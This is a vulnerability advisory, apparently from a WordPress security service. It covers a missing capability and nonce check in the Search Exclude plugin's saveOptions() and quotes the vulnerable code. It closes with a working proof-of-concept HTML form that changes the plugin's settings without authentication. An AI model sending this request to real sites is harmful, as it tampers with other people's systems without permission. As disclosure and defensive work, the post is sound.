Settings Change Vulnerability in Search Exclude
The plugin Search Exclude was closed on the WordPress Plugin Directory on Friday. That is one of the 1,000 most popular plugins with 30,000+ installs, so we were alerted to its closure. While we were looking in to the plugin to see if there were any serious vulnerabilities we should be warning users of the plugin that also use our service, we found that it contains a less serious one related to a more serious one, a settings change vulnerability.
The plugin registers the function saveOptions() to run during admin_init:
40 | add_action('admin_init', array($this, 'saveOptions') ); |
That permits even those not logged in to WordPress to access it. As you can guess from the name that save the plugin’s options (settings):
297 298 299 300 301 302 303 304 | public function saveOptions() { if (isset($_POST['search_exclude_submit'])) { $excluded = $_POST['sep_exclude']; $this->saveExcluded($excluded); } } |
112 113 114 115 116 | protected function saveExcluded($excluded) { update_option('sep_exclude', $excluded); $this->excluded = $excluded; } |
Missing there are a capabilities check to limit what users can save those, a nonce check to prevent cross-site request forgery (CSRF), and possibly santization/validation.
In our quick check we didn’t find anything this could abused to do beyond causing the plugin’s intended functionality of excluding posts from the WordPress search results to be set for things it isn’t intended to.
There also appear to be other security issues with the plugin.
Full Disclosure
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The follow proof of concept will set it so that that the post with ID 1 is excluded from the WordPress search results.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST"> <input type="hidden" name="sep_exclude[]" value="1" /> <input type="submit" name="search_exclude_submit" value="Submit" /> </form> </body> </html>